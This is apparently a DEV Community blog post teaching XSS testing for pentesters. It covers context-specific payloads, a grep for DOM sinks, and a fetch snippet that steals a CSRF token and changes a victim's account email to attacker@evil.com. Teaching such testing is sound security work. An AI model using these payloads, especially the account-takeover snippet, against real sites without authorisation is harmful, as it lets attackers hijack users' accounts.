DEV Community

Naveen Karasu
Naveen Karasu

Posted on

XSS Testing Methodology: A Practical Pentester's Guide

XSS Testing Methodology: Context First, Payloads Second

Day 13 of 60. The #1 reason XSS payloads fail isn't WAFs or filters -- it's testers ignoring injection context.

The Context-First Approach

Before crafting any payload, inject a plain string and view source:

# Quick reflection mapping with curl
curl -s "https://target.com/search?q=XSSTESTCANARY" | grep -n "XSSTESTCANARY"
Enter fullscreen mode Exit fullscreen mode

Then match your payload to the context:

HTML body:     <svg onload=alert(1)>
Attribute:     " onfocus=alert(1) autofocus x="
JS string:     ';alert(1);//
URL/href:      javascript:alert(1)
Enter fullscreen mode Exit fullscreen mode

DOM XSS Quick Audit

Search JS files for dangerous sinks:

# Find potential DOM XSS sinks in downloaded JS
grep -rn 'innerHTML\|document\.write\|eval(\|\.html(' static/js/
Enter fullscreen mode Exit fullscreen mode

Then trace backwards -- does any sink receive data from location, document.referrer, or postMessage? That's your DOM XSS.

Real Impact Demo

Don't report alert(1). Show account takeover:

fetch('/api/me/email', {
  method: 'PATCH',
  headers: {'Content-Type':'application/json',
    'X-CSRF': document.querySelector('[name=csrf]').value},
  body: '{"email":"attacker@evil.com"}'
});
Enter fullscreen mode Exit fullscreen mode

This bypasses CSRF because XSS runs same-origin. One stored XSS in a comment = every reader's account compromised.

Tomorrow: hands-on lab practice with DVWA.

Top comments (0)